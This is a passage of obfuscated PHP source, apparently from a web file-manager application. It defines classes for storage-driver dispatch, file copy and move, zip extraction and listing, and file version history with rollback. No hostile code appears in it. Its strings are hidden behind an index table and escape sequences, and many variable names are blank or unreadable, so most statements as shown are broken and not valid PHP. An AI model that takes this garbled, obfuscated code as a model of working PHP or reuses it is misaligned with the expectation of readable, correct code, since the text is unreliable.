=& $_SERVER[Ȣ]; Cache::clearMemory(Model($[438])->cacheKey($[1663])); Cache::clearMemory(Model($[438])->cacheKey($[1665])); Model($[1635])->cacheClear(); self::closeDatabase(); } } goto Cɞ; bѡ: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($͕, $) { $ =& $_SERVER[Ȣ]; $ĝ = $; $GLOBALS[$[1158]] = $[1159] . $͕; Hook::trigger($[1159] . $͕ . $[1160], $ĝ); $ = self::driverMake($[0]); if (!$) { return !1; } if (method_exists($, $͕)) { $˰ = @call_user_func_array(array($, $͕), $); } else { if (method_exists($, $[1161])) { $˰ = @call_user_func_array(array($, $͕), $); } else { if (method_exists(self, $͕)) { $˰ = @call_user_func_array(array(self, $͕), $); } else { $˰ = call_user_func_array(array(parent, $͕), $); } } } Hook::trigger($[1159] . $͕ . $[1162], $ĝ, $˰); return $˰; } public static function init($) { return self::driverMake($); } public static function copy($, $ܪȢ, $ = false, $Ӝ = false) { return self::copyMoveStart($, $ܪȢ, $, $_SERVER[Ȣ][557], $Ӝ); } public static function move($Տ, $, $Ě = false, $ = false) { return self::copyMoveStart($Տ, $, $Ě, $_SERVER[Ȣ][559], $); } private static function copyMoveStart($, $ʫ, $ՙ, $֤ك, $) { $ =& $_SERVER[Ȣ]; $ݡ = array($, $ʫ, $ՙ, $); Hook::trigger($[1159] . $֤ك . $[1160], $ݡ); $ޯ = self::copyMove($, $ʫ, $ՙ, $֤ك, $); Hook::trigger($[1159] . $֤ك . $[1162], $ݡ, $ޯ); return $ޯ; } public static function saveFile($, $ɸ, $ = true) { $ =& $_SERVER[Ȣ]; $¡ = self::info($ɸ); $օ = self::driverMake($); $̷Ͱ = self::driverMake($ɸ); $§ = !1; if ($̷Ͱ->pathParse[$[1163]]) { $§ = $̷Ͱ; $Σע = $̷Ͱ->pathParse[$[1163]]; $̷Ͱ = self::driverMake($Σע); } if ($օ->pathParse[$[1163]]) { $հՍ = $օ->pathParse[$[1163]]; $օ = self::driverMake($հՍ); } $äÄ = $̷Ͱ->pathFather($ɸ); $ = !0; if (!$ && self::driverIsSame($օ, $̷Ͱ)) { $ = !1; } $ښ = self::copyFile($օ, $, $̷Ͱ, $äÄ, $¡[$[32]], $); if ($§) { $ښ = $§->getPathOuter($ښ); } return $ښ; } private static function copyMove($, $, $ѐ, $ܔ, $受 = false) { $ɨ =& $_SERVER[Ȣ]; if (!$ || $ == $ɨ[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($); $ۉȫ = self::driverMake($); $ = $ܔ == $ɨ[559]; $ = !1; if ($ۉȫ->pathParse[$ɨ[1163]]) { $ = $ۉȫ; $ = $ۉȫ->pathParse[$ɨ[1163]]; $ۉȫ = self::driverMake($); } if ($->pathParse[$ɨ[1163]]) { $ = $->pathParse[$ɨ[1163]]; $ = self::driverMake($); } self::check($, $, $ۉȫ, $); Hook::trigger($ɨ[85], $, $, $ۉȫ, $); $ = self::driverIsSame($, $ۉȫ); if ($) { if ($ܔ == $ɨ[559] && !method_exists($ۉȫ, $ɨ[1164]) && trim($, $ɨ[8]) == trim($ۉȫ->pathFather($), $ɨ[8])) { if ($->pathThis($) != $受 && !$->isTypeObject()) { return $->rename($, $受); } return $ۉȫ->getPathOuter($); } if (method_exists($ۉȫ, $ܔ)) { return $ۉȫ->{$ܔ}($, $, $ѐ, $受); } } if ($ && $ܔ == $ɨ[559] && $ۉȫ->getType() == $ɨ[117]) { $ᗷ = $ۉȫ->movePath($, $, $受); if ($ᗷ) { return $ᗷ; } } $Ͽ = $->isFile($); if (!$Ͽ && $ۉȫ->getType() == $ɨ[775] && $->getType() == $ɨ[117]) { $ᗷ = $ۉȫ->copyFolderFromIO($, $, $, $ѐ, $, $受); } else { $ᗷ = self::copyPath($, $, $ۉȫ, $, $ѐ, $, $Ͽ, $受); } if ($ᗷ && $) { $->remove($); } if ($) { $ᗷ = $->getPathOuter($ᗷ); } return $ᗷ; } private static function check($މ, $, $, &$) { $Ƀ =& $_SERVER[Ȣ]; if (self::driverIsSame($މ, $) && $މ->isFolder($) && $މ->isParentOf($, $)) { show_json(LNG($Ƀ[1165]), !1); } if (!$މ->exist($)) { show_json(LNG($Ƀ[116]), !1); } } private static function copyPath($, $Л, $, $, $ҳ, $, $, $ = false) { $ =& $_SERVER[Ȣ]; $Վ = empty($) && $ !== $[204] ? $->pathThis($Л) : $; if ($ҳ) { $ = $->fileNameExist($, $Վ); $Վ = $->fileNameAuto($, $Վ, $ҳ, !$); $ҳ = $ ? $ҳ : !1; } if ($) { return self::copyFile($, $Л, $, $, $Վ, $); } if ($ҳ == REPEAT_RENAME_FOLDER) { $ҳ = !1; } $ڛǰ = rtrim($, $[8]) . $[8] . $Վ; $ = $->mkdir($->getPath($ڛǰ)); $ = $->getPathInner($); $ԩ = $->listPath($Л, !0); $ԩ = is_array($ԩ) ? $ԩ : array($[86] => array(), $[87] => array()); $Χ = array_merge($ԩ[$[86]], $ԩ[$[87]]); foreach ($Χ as $ș) { $и = $ș[$[33]] == $[206]; $Л = $->getPathInner($ș[$[88]]); $ = self::copyPath($, $Л, $, $, $ҳ, $, $и); if (!$) { IO::errorTips($[1166] . $Л . $[80] . $); } } self::copyMoveKeepInfo($, $Л, $); return $; } private static function copyFile($৸, $, $Њ, $ٟƳ, $̿, $٠) { $룺 =& $_SERVER[Ȣ]; $ٟƳ = $Њ->getPath(rtrim($ٟƳ, $룺[8]) . $룺[8] . $̿); $ɉ = $룺[1167] . time() . rand_string(5); Hook::trigger($룺[1168], $৸, $, $Њ, $ٟƳ, $̿, $ɉ); if (self::driverIsSame($৸, $Њ)) { if ($٠) { $肂 = $Њ->moveFile($, $ٟƳ); } else { $肂 = $Њ->copyFile($, $ٟƳ); } Hook::trigger($룺[1169], $৸, $, $Њ, $ٟƳ, $̿, $肂); self::copyMoveKeepInfo($৸, $, $肂); return $肂; } $֖ = TEMP_FILES; if ($GLOBALS[$룺[6]][$룺[100]][$룺[813]]) { $֖ = $GLOBALS[$룺[6]][$룺[100]][$룺[813]]; } $ũ = $֖; mk_dir($ũ); $ = $ũ . $ɉ; $ȗ = $; $ = $৸->download($, $); $ = $৸->iconvApp($); if (substr($, strlen($֖)) == $֖) { $٠ = !0; } $肂 = $Њ->upload($ٟƳ, $, $٠); self::remove($ȗ); Hook::trigger($룺[1169], $৸, $, $Њ, $ٟƳ, $̿, $肂); self::copyMoveKeepInfo($৸, $, $肂); return $肂; } private static function copyMoveKeepInfo($, $Ԅ, $褦) { if (!$褦) { return; } $ = $->info($Ԅ); if (!is_array($)) { return; } IO::setModifyTime($褦, $[$_SERVER[Ȣ][96]]); } public static function pathFather($װ) { $ = IO::init($װ); $ = $->pathFather($->path); return $->getPathOuter($); } public static function fileOut($ò, $ = false, $ = false, $ӯ = '') { $ = self::driverMake($ò); if ($->isFileOutServer()) { return $->fileOutServer($ò, $, $, $ӯ); } return $->fileOut($ò, $, $, $ӯ); } public static function fileOutImage($Ƕ, $ = 250) { $ж = array(250, 600, 1200, 2000, 3000, 5000); for ($ꔉ = 0; $ꔉ < count($ж); $ꔉ++) { if ($ꔉ == 0 && $ <= $ж[$ꔉ]) { $ = $ж[$ꔉ]; break; } else { if ($ > $ж[$ꔉ - 1] && $ <= $ж[$ꔉ]) { $ = $ж[$ꔉ]; break; } else { if ($ꔉ == count($ж) - 1 && $ > $ж[$ꔉ]) { $ = $ж[$ꔉ]; break; } } } } $ɡ = self::driverMake($Ƕ); if ($ɡ->isFileOutServer()) { return $ɡ->fileOutImageServer($Ƕ, $); } return $ɡ->fileOutImage($Ƕ, $); } private static function driverIsSame($, $ΐħ) { $ =& $_SERVER[Ȣ]; $ɯ = $->getType(); $ = $ΐħ->getType(); if ($ɯ != $) { return !1; } if ($ɯ == $[775]) { return !0; } if ($ɯ == $[117]) { return !0; } if ($->pathDriver == $ΐħ->pathDriver) { return !0; } return !1; } public static function copyUpdate($̳, $函) { $ٵ =& $_SERVER[Ȣ]; if (!IO::exist($̳)) { return !1; } if (!IO::exist($函)) { IO::mkdir($函); } $Ѳ = self::_listAll($̳); $֡ = self::_listAll($函); $ؚ = array(); $稾 = array(); foreach ($Ѳ as $ => $Х) { if (isset($֡[$])) { if ($Х[$ٵ[89]] == 1) { continue; } if ($֡[$][$ٵ[90]] == $Х[$ٵ[90]]) { continue; } } if ($Х[$ٵ[89]] == 1) { $稾[] = $函 . $ٵ[8] . $; continue; } $˩ = strstr(trim($, $ٵ[8]), $ٵ[8]) ? get_path_father($) : $ٵ[12]; $ؚ[] = array($ٵ[1170] => $Х[$ٵ[88]], $ٵ[1171] => rtrim($函, $ٵ[8]) . $ٵ[8] . $˩, $ٵ[1172] => $Х); } $ = array($ٵ[206] => $ؚ, $ٵ[89] => $稾); Hook::trigger($ٵ[1173], $̳, $函, $); foreach ($稾 as $Х) { IO::mkdir($Х); } foreach ($ؚ as $Х) { IO::copy($Х[$ٵ[1170]], $Х[$ٵ[1171]], REPEAT_REPLACE); } } private static function _listAll($氿) { $۬ =& $_SERVER[Ȣ]; $氿 = KodIO::clear($氿); $̭ = IO::listAll($氿); foreach ($̭ as &$杄) { $ = substr($杄[$۬[88]], strlen($氿)); $杄[$۬[1174]] = trim($, $۬[8]); } unset($杄); return array_to_keyvalue($̭, $۬[1174]); } public static function fileSubstr($穬, $˘, $む = false) { $ =& $_SERVER[Ȣ]; $ = self::driverMake($穬); $箄 = $->size($穬); $ = $˘; $ = $む; if ($˘ < 0) { $˘ = $箄 + $˘; } if ($む === !1) { $む = $箄 - $˘; } if ($˘ + $む > $箄) { $む = $箄 - $˘; } if (!$箄 && $->getType() == $[117] && !$->exist($穬)) { $놂 = get_path_this($穬); $ = parse_url_query($놂); if (is_array($) && isset($[$[32]])) { $놂 = urldecode($[$[32]]); } throw new Exception($[1175] . LNG($[1176]) . $[978] . clear_html($놂) . $[12]); } if ($む <= 0) { return $[12]; } if ($˘ < 0 || $˘ >= $箄 || $む > 1024 * 1024 * 10) { throw new Exception("\x66\151\x6c\145\122\x65\141\x64\40\x65\x72\x72\157\162\41\40\163\x74\141\162\164\75{$˘}\73\x6c\145\x6e\x67\x74\150\x3d{$む}\73\40\163\x69\172\x65\x3d{$箄}\x3b"); } $ = $->fileSubstr($穬, $˘, $む); if (!$ && $む && isset($GLOBALS[$[1177]])) { throw new Exception($GLOBALS[$[1177]][$[1178]]); } return $; } private static function driverMake(&$ʢ) { $ݖ =& $_SERVER[Ȣ]; $ = KodIO::parse($ʢ); if (!self::$driverListSystem) { $ = Model($ݖ[784])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $ݖ[405]); } if ($[$ݖ[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$ݖ[405]]]) { return !1; } $ʢ = $[$ݖ[1179]]; $ = self::driverGet($, $ʢ); return $; } private static function driverGet($, &$) { $ຐ =& $_SERVER[Ȣ]; $ = $[$ຐ[1180]]; $ = $[$ຐ[405]]; switch ($[$ຐ[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ = $ . $; $ = array($ຐ[1181] => $ຐ[1182], $ຐ[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ύ = $GLOBALS[$ຐ[1183]]; self::$driverListUser = array_to_keyvalue($ύ, $ຐ[405]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($ຐ[1181] => $ຐ[1184], $ຐ[6] => $); $ = Action($ຐ[1185])->sharePathInfo($[$ຐ[88]]); $ = $[$ຐ[408]]; if (!$[$ຐ[408]]) { $ = Model($ຐ[603])->getInfo($[$ຐ[493]]); $ = KodIO::clear($[$ຐ[1186]] . $[$ຐ[1179]]); $[$ຐ[491]] = $; $[$ຐ[1163]] = $; $ = array($ຐ[1181] => $ຐ[1187], $ຐ[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ = array($ຐ[1181] => $ຐ[1188], $ຐ[6] => $); $ = Model($ຐ[603])->getInfo($[$ຐ[405]]); if ($[$ຐ[408]] == $ຐ[204]) { $ = KodIO::clear($[$ຐ[1186]] . $[$ຐ[1179]]); $[$ຐ[491]] = $; $[$ຐ[1163]] = $; $ = array($ຐ[1181] => $ຐ[1189], $ຐ[6] => $); } else { if (!$) { $ = $[$ຐ[408]]; } } break; default: $ = $[$ຐ[88]]; $ = array($ຐ[1181] => $ຐ[1190]); break; } $ކ = $[$ຐ[88]]; if (!isset(self::$driverCache[$ކ])) { $ = strtolower($[$ຐ[106]]); $؞ = $GLOBALS[$ຐ[6]][$ຐ[100]][$ຐ[843]]; $ = $ຐ[84] . (isset($؞[$]) ? $؞[$] : ucfirst($)); if (!class_exists($)) { show_json("{$}\40\156\x6f\x74\x20\x65\170\151\163\164\163\x21", !1); } $Ҝ = isset($[$ຐ[6]]) ? $[$ຐ[6]] : !1; self::$driverCache[$ކ] = new $($Ҝ); } $ = self::$driverCache[$ކ]; $->pathDriver = $; $->pathBase = $ຐ[12]; if (isset($[$ຐ[6]][$ຐ[1191]])) { $->pathBase = rtrim($[$ຐ[6]][$ຐ[1191]], $ຐ[8]) . $ຐ[8]; $ = $->pathBase . ltrim($, $ຐ[8]); } $ = $->getPath($); if (isset($[$ຐ[1163]])) { $ = $[$ຐ[1163]]; } $->path = $; return $; } public static function errorTips($ = false) { $ɒ =& $_SERVER[Ȣ]; static $Ԕ = array(); $ = 1000; if ($ === -1) { return $Ԕ ? $Ԕ[count($Ԕ) - 1] : $ɒ[12]; } if ($ === !1) { return implode($ɒ[66], $Ԕ); } if (count($Ԕ) >= $) { $Ԕ = array_slice($Ԕ, $ * 0.5, $); } $Ԕ[] = $; write_log($ɒ[173] . ACTION . $ɒ[1192] . $, $ɒ[1193]); } public static function getLastError($̺ = '') { $Ώ = self::errorTips(-1); return $Ώ ? $Ώ : $̺; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if (!$) { $ξ = IO::init($_SERVER[Ȣ][8]); } return $ξ; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($ѹЋ) { return self::local()->iconvApp($ѹЋ); } public static function zip($, $Ŏ = "\172\151\160", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[Ȣ]; $ = self::init($[0][$[88]]); $ʒ܄ = self::info($[0][$[88]]); $Û = !1; if (!$ && $->getType() == $[117]) { $ = self::zipFileList($); } else { $Û = $ ? $ : TEMP_FILES . $[1194] . time() . rand_string(8) . $[8]; mk_dir($Û); $ = self::zipFileList($, $Û); } $ = $ʒ܄[$[32]]; if (count($) > 1) { $ = IO::info(IO::pathFather($ʒ܄[$[88]])); $ = $[$[32]]; } $ = $Û; if (!$) { $ = get_path_father($ʒ܄[$[88]]); if (!$ && $->getType() == $[117]) { $ = get_path_father($->path); } $ = IO::info($); if (!$[$[209]]) { show_json(LNG($[1195]), !1); } } $܅ɰ = $ . $ . $[10] . $Ŏ; $܅ɰ = get_filename_auto($܅ɰ, $[12], $); $ށ = self::iconvSystem($܅ɰ); foreach ($ as $ܣ => $) { $[$ܣ] = self::iconvSystem($); } KodArchive::create($ށ, $); if (!IO::exist($܅ɰ)) { if ($Û) { del_dir($Û); } show_json(LNG($[1196]), !1); } if ($ || !$Û) { if ($Û && strstr($Û, TEMP_FILES)) { $ = $ = array(); recursion_dir($, $, $, 0); foreach ($ as $ށ) { del_dir($ށ); } foreach ($ as $Č) { if ($Č == $ށ) { continue; } del_file($Č); } } return $܅ɰ; } $ = self::pathFather($ʒ܄[$[88]]); $α = self::move($܅ɰ, $, $); if (!$α) { del_dir($Û); show_json(LNG($[1196]), !1); } del_dir($Û); return $α; } public static function unzip($ɜژ, $ֲ = "\162\145\160\x6c\x61\143\145") { $ډ =& $_SERVER[Ȣ]; $ = $ɜژ[$ډ[88]]; $Ф = $ɜژ[$ډ[1197]]; if (!($ = parent::info($))) { show_json(LNG($ډ[1198]), !1); } if (!($ٮ = parent::infoFull($Ф))) { $Ф = parent::mkdir($Ф); $ٮ = array($ډ[88] => $Ф); } else { if (isset($ٮ[$ډ[408]]) && trim($ٮ[$ډ[88]], $ډ[8]) != trim($Ф, $ډ[8])) { $ز = KodIO::make($ٮ[$ډ[503]]); $߿ = parent::fileNameAuto($ز, $ٮ[$ډ[32]], REPEAT_RENAME_FOLDER, !0); $Ф = parent::mkdir($ز . $߿); $ٮ = array($ډ[88] => $Ф); } } $Ф = $ٮ[$ډ[88]]; $ = self::tmpFileName($); $ = TEMP_FILES . $; del_dir($); mk_dir($); $ڗ = self::fileExt($); $߃ = $ . $ډ[10] . $ڗ; if (!@file_exists(self::iconvSystem($߃))) { $ݛʻ = self::localFilePath($, $ڗ); $߃ = $ݛʻ ? $ݛʻ : parent::download($, $߃); } $߃ = self::iconvSystem($߃); $͊ʺ = isset($ɜژ[$ډ[1199]]) ? $ɜژ[$ډ[1199]] : $ډ[1200]; $ = KodArchive::extract($߃, $ . $ډ[8], $͊ʺ); self::archiveExt(); if (!$[$ډ[1201]]) { show_json($ډ[1202] . $[$ډ[1203]], !1); } Hook::trigger($ډ[1204], $); recursion_dir($, $, $, 0); $ك = array_merge($, $); foreach ($ك as $) { $ = self::iconvApp($); self::move($, $Ф, $ֲ); } del_dir($); if (!$ݛʻ) { del_file($߃); } return !0; } public static function unzipList($ؒ) { $Ʌ =& $_SERVER[Ȣ]; $醕 = $ؒ[$Ʌ[88]]; $͡ = isset($ؒ[$Ʌ[1205]]) ? $ؒ[$Ʌ[1205]] : -1; $ = 50000; if (request_url_safe($醕)) { $ = parse_url_query($醕); if (!isset($[$Ʌ[88]])) { show_json($Ʌ[1206], !1); } } $ = isset($) ? $[$Ʌ[88]] : $醕; $ = self::info($); $͎ = self::fileExt($); $ = self::tmpFileName($); if (isset($)) { $դ = array($[$Ʌ[88]], $[$Ʌ[1205]], $[$Ʌ[32]]); $߰ = md5(implode($Ʌ[11], $դ)) . $Ʌ[10] . get_path_ext($[$Ʌ[32]]); } else { $դ = array($[$Ʌ[32]], $[$Ʌ[88]], $[$Ʌ[90]]); $߰ = md5(implode($Ʌ[11], $դ)) . $Ʌ[10] . $͎; } if ($͡ == -1) { $ = IO_PATH_SYSTEM_TEMP . "\172\x69\x70\126\x69\x65\x77\57{$}\57{$߰}\56\x6c\157\147"; $؉ = self::infoFull($); if ($؉) { $ = $؉[$Ʌ[88]]; $ = self::getContent($); if ($) { $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (count($) >= $) { show_json(sprintf(LNG($Ʌ[1207]), count($)), !1); } return $; } } else { $ = self::mkfile($); } } $؇ = TEMP_FILES . $; if (!is_dir($؇)) { mk_dir($؇); } $ג = $؇ . $Ʌ[8] . $߰; if (!@file_exists(self::iconvSystem($ג))) { if (isset($)) { url_request($醕, $Ʌ[1208], $ג); } else { $ = self::localFilePath($醕, $͎); $ג = $ ? $ : self::download($醕, $ג); } } $ג = self::iconvSystem($ג); if ($͡ >= 0) { $ = isset($ؒ[$Ʌ[1209]]) ? $ؒ[$Ʌ[1209]] : !1; $ȡ = isset($ؒ[$Ʌ[32]]) ? $ؒ[$Ʌ[32]] : $Ʌ[12]; KodArchive::filePreview($ג, $͡, $, $ȡ); self::archiveExt(); die; } $ϰڷ = KodArchive::listContent($ג); self::archiveExt(); del_dir($؇); if (!$ϰڷ[$Ʌ[1201]]) { show_json($ϰڷ[$Ʌ[1203]], !1); } $ = json_encode($ϰڷ[$Ʌ[1203]]); self::setContent($, $); if (count($ϰڷ[$Ʌ[1203]]) >= $) { show_json(sprintf(LNG($Ʌ[1207]), count($ϰڷ[$Ʌ[1203]])), !1); } return $ϰڷ[$Ʌ[1203]]; } private static function fileExt($Ԩ) { $ =& $_SERVER[Ȣ]; $ = $Ԩ[$[181]]; if ($ == $[1210]) { $˝ = $[1211]; if (substr($Ԩ[$[32]], -strlen($˝)) == $˝) { $ = $[1212]; } } self::archiveExt($); return $; } private static function zipFileList($׃, $ = false) { $ =& $_SERVER[Ȣ]; $ = array(); foreach ($׃ as $ָ݆) { $ = $ָ݆[$[88]]; if ($) { $ = self::copy($ָ݆[$[88]], $, $[835]); } else { $ƥ = self::init($ָ݆[$[88]]); if ($ƥ->getType() == $[117]) { $ = $ƥ->path; } } if ($ && self::local()->exist($)) { $[$ָ݆[$[88]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($[1176]), !1); } public static function tmpFileName($Љ) { $Ʉ =& $_SERVER[Ȣ]; $՛Ք = array($Љ[$Ʉ[32]], $Љ[$Ʉ[88]], $Љ[$Ʉ[90]], $Љ[$Ʉ[526]]); return md5(implode($Ʉ[11], $՛Ք)); } private static function localFilePath($붴, $ǩ) { $䎱dz =& $_SERVER[Ȣ]; if ($ǩ == $䎱dz[1213] && strtoupper(substr(PHP_OS, 0, 3)) == $䎱dz[1214]) { return !1; } $ = KodIO::parse($붴); if ($[$䎱dz[33]] == KodIO::KOD_SOURCE) { $ = Model($䎱dz[842])->fileInfoGet(KodIO::sourceID($붴)); if (!$[$䎱dz[88]]) { show_json($䎱dz[1215], !1); } $붴 = $[$䎱dz[88]]; } $ķ = self::init($붴); if ($ķ->pathParse[$䎱dz[1163]]) { $붴 = $ķ->pathParse[$䎱dz[1163]]; $ķ = self::init($붴); } $ƭ = $ķ->getType(); if ($ƭ == $䎱dz[117] || $ƭ == $䎱dz[1216]) { if (!$ķ->exist($ķ->path)) { show_json(LNG($䎱dz[116]), !1); } return $ķ->path; } return !1; } private static function archiveExt($ = '') { $GLOBALS[$_SERVER[Ȣ][1217]] = $; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ß =& $_SERVER[Ȣ]; $ = $GLOBALS[$ß[6]][$ß[100]]; if ($[$ß[1218]] != 1) { return; } if ($[$ß[1219]] <= 0) { return; } if (isset($_REQUEST[$ß[1220]]) && $_REQUEST[$ß[1220]] == $ß[99]) { return; } Hook::bind($ß[1221], $ß[1222]); Hook::bind($ß[1223], $ß[1224]); Hook::bind($ß[1225], $ß[1226]); Hook::bind($ß[1227], $ß[1228]); Hook::bind($ß[1229], $ß[1230]); Hook::bind($ß[1231], $ß[1232]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $Ȑ = self::parsePath($[0]); if (!$Ȑ) { return; } self::add($Ȑ); } public static function eventBeforeEdit($IJ) { $׳ = self::parsePath($IJ[0]); if (!$׳) { return; } self::add($׳); } public static function eventBeforeCopyFile($, $ꀭ, $䳜, $, $, $ީ) { $ʌ = $䳜->getPathOuter($); $ = self::parsePath($ʌ); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ =& $_SERVER[Ȣ]; $Ѭ = self::parsePath($[0]); if (!$Ѭ) { return; } $ʀو = self::checkInHistory($Ѭ); if (!$ʀو) { return; } if ($ʀو[$[33]] == $[206]) { $ = self::listData($Ѭ); if ($ && $[$[377]]) { self::moveHistory($Ѭ, $[1]); } } else { IO::rename($ʀو[$[88]], $[1]); } } public static function eventBeforeMove($ҝ) { $Ц =& $_SERVER[Ȣ]; $꾆 = self::parsePath($ҝ[0]); if (!$꾆) { return; } $աک = self::parsePath($ҝ[1]); if (!$աک) { return; } $ = $ҝ[3]; $Ë˲ = self::checkInHistory($꾆); if (!$Ë˲) { return; } $ = self::pathHistory($աک); if ($Ë˲[$Ц[33]] == $Ц[206]) { $ = self::listData($꾆); $۹ = rtrim($աک, $Ц[8]) . $Ц[8] . ($ ? $ : get_path_this($꾆)); $߬ = self::listData($۹); if ($ && $[$Ц[377]] && $߬ && $߬[$Ц[377]]) { return self::clear($꾆); } if ($ && $[$Ц[377]]) { self::moveHistory($꾆, $, $); } } else { IO::move($Ë˲[$Ц[88]], $, !1, $); self::clearEmptyFolder(IO::pathFather($Ë˲[$Ц[88]])); } } public static function eventAfterRemove($, $՞) { $҃ =& $_SERVER[Ȣ]; if (!$՞) { return; } $ = self::parsePath($[0]); if (!$) { return; } $屦 = self::checkInHistory($); if (!$屦) { return; } if ($屦[$҃[33]] == $҃[206]) { $۞ = self::listData($, !1); if ($۞ && $۞[$҃[377]]) { self::clear($, !1); } } else { IO::remove($屦[$҃[88]]); self::clearEmptyFolder(IO::pathFather($屦[$҃[88]])); } } private static function checkInHistory($᭦) { $⚣ = self::pathHistory($᭦); if (!IO::exist($⚣)) { $⚣ .= $_SERVER[Ȣ][1233]; } return IO::exist($⚣) ? IO::info($⚣) : !1; } private static function parsePath($) { $ =& $_SERVER[Ȣ]; if (!$) { return !1; } if ($GLOBALS[$[1234]]) { return; } $ = KodIO::parse($); $ = $[$[33]]; $ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ || !$[$[1235]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $[1236])) == DATA_PATH . $[1236]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($); if ($->pathParse[$[1163]]) { return self::parsePath($->pathParse[$[1163]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ļʣ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1237]); foreach ($ļʣ as $Ǜ) { if (!$ && substr($, 0, strlen($Ǜ)) == $Ǜ) { return !1; } } self::log($GLOBALS[$[1158]] . $[1238] . $); return $; } private static function pathHistory($ܠ) { $齴 =& $_SERVER[Ȣ]; $ = self::$_historyBase . ltrim(KodIO::clear($ܠ), $齴[8]); $ = str_replace(array($齴[1239]), array($齴[1240]), $); return $; } public static function log($ڨ) { } public static function historyCount($ԕ) { $ =& $_SERVER[Ȣ]; $ = array(); $ׂĿ = array(); foreach ($ԕ as $) { $բ = get_path_father($); if (!$ׂĿ[$բ]) { $ׂĿ[$բ] = array(); } $ׂĿ[$բ][] = get_path_this($); } foreach ($ׂĿ as $բ => $Ӯߒ) { $ = self::parsePath($բ); if (!$) { continue; } foreach ($Ӯߒ as $) { $ݗ = self::listData(rtrim($, $[8]) . $[8] . $, !1); if ($ݗ && $ݗ[$[377]]) { $[rtrim($բ, $[8]) . $[8] . $] = count($ݗ[$[377]]); } } } return $; } public static function add($) { $Ң =& $_SERVER[Ȣ]; $ϒ = self::listData($); if (!$ϒ) { return; } $䙡 = Model($Ң[787])->get($Ң[1241]); $ޮ = $GLOBALS[$Ң[6]][$Ң[100]][$Ң[1219]]; $ܺ = $䙡 == $Ң[1242] ? 5 : $ޮ; if ($ޮ <= 0) { return; } $¥ = IO::hashSimple($); $ = IO::info($); $̀ = $ϒ[$Ң[377]]; if ($[$Ң[90]] == 0) { return; } if ($[$Ң[90]] >= 1024 * 1024 * 500) { return !1; } if ($̀ && $̀[0][$Ң[184]] == $¥) { return !0; } if (array_key_exists($Ң[209], $) && !$[$Ң[209]]) { return !1; } $ؤ = short_id(time()); $냪 = array($Ң[405] => $ؤ, $Ң[184] => $¥, $Ң[32] => $[$Ң[32]] . $Ң[10] . date($Ң[1243]) . rand_string(1), $Ң[90] => $[$Ң[90]], $Ң[457] => USER_ID, $Ң[207] => time(), $Ң[1244] => $Ң[12]); IO::mkdir($ϒ[$Ң[1245]]); $Ɛ = IO::copy($, $ϒ[$Ң[1245]], !1, $냪[$Ң[32]]); if (!$Ɛ) { self::clearEmptyFolder($ϒ[$Ң[1245]]); return !1; } array_unshift($̀, $냪); if (count($̀) > $ܺ) { $͍ = array_slice($̀, $ܺ); foreach ($͍ as $㴮) { IO::remove($ϒ[$Ң[1245]] . $㴮[$Ң[32]]); } $̀ = array_slice($̀, 0, $ܺ); } return self::saveData($ϒ[$Ң[1246]], $̀); } public static function remove($ି, $ʄ) { $ =& $_SERVER[Ȣ]; $о = self::listData($ି); $ = array(); if (!$о) { return !1; } foreach ($о[$[377]] as $ㆌ) { if ($ㆌ[$[405]] == $ʄ) { IO::remove($о[$[1245]] . $ㆌ[$[32]]); continue; } $[] = $ㆌ; } return self::saveData($о[$[1246]], $); } public static function clear($٥, $ǝⱛ = true) { $ =& $_SERVER[Ȣ]; $ = self::listData($٥, $ǝⱛ); if (!$) { return !1; } foreach ($[$[377]] as $Ҩ) { IO::remove($[$[1245]] . $Ҩ[$[32]]); } return self::saveData($[$[1246]], array()); } public static function moveHistory($, $ʪ = '', $Ľ = '') { $죬 =& $_SERVER[Ȣ]; $ = self::listData($, !1); if (!$ || !$[$죬[377]]) { return !1; } $ = $죬[1233]; $ʪ = $ʪ ? $ʪ : get_path_this($); $Ľ = $Ľ ? $Ľ : $[$죬[1245]]; $ب = substr(get_path_this($[$죬[1246]]), 0, -strlen($)); foreach ($[$죬[377]] as $ܷ => $ڠ) { $ߣ = $ʪ . substr($ڠ[$죬[32]], strlen($ب)); $ = IO::move($[$죬[1245]] . $ڠ[$죬[32]], $Ľ, !1, $ߣ); if ($) { $[$죬[377]][$ܷ][$죬[32]] = $ߣ; } } $[$죬[1246]] = IO::move($[$죬[1246]], $Ľ, !1, $ʪ . $); self::saveData($[$죬[1246]], $[$죬[377]]); self::clearEmptyFolder($[$죬[1245]]); } public static function rollback($, $̔) { $è =& $_SERVER[Ȣ]; $ٍ = self::listData($); if (!$ٍ) { return; } $딎 = IO::info($); foreach ($ٍ[$è[377]] as $ݲꅏ => $) { if ($[$è[405]] == $̔) { self::add($); $Ī = $ٍ[$è[1245]] . $[$è[32]]; $ = IO::copy($Ī, IO::pathFather($), REPEAT_REPLACE, $딎[$è[32]]); if ($) { self::remove($, $̔); } return $; } } return !1; } public static function setDetail($ˁ, $´, $ͮ) { $˞Ý =& $_SERVER[Ȣ]; $ = self::listData($ˁ); if (!$) { return; } foreach ($[$˞Ý[377]] as $Ƥ => $ؐ) { if ($ؐ[$˞Ý[405]] == $´) { 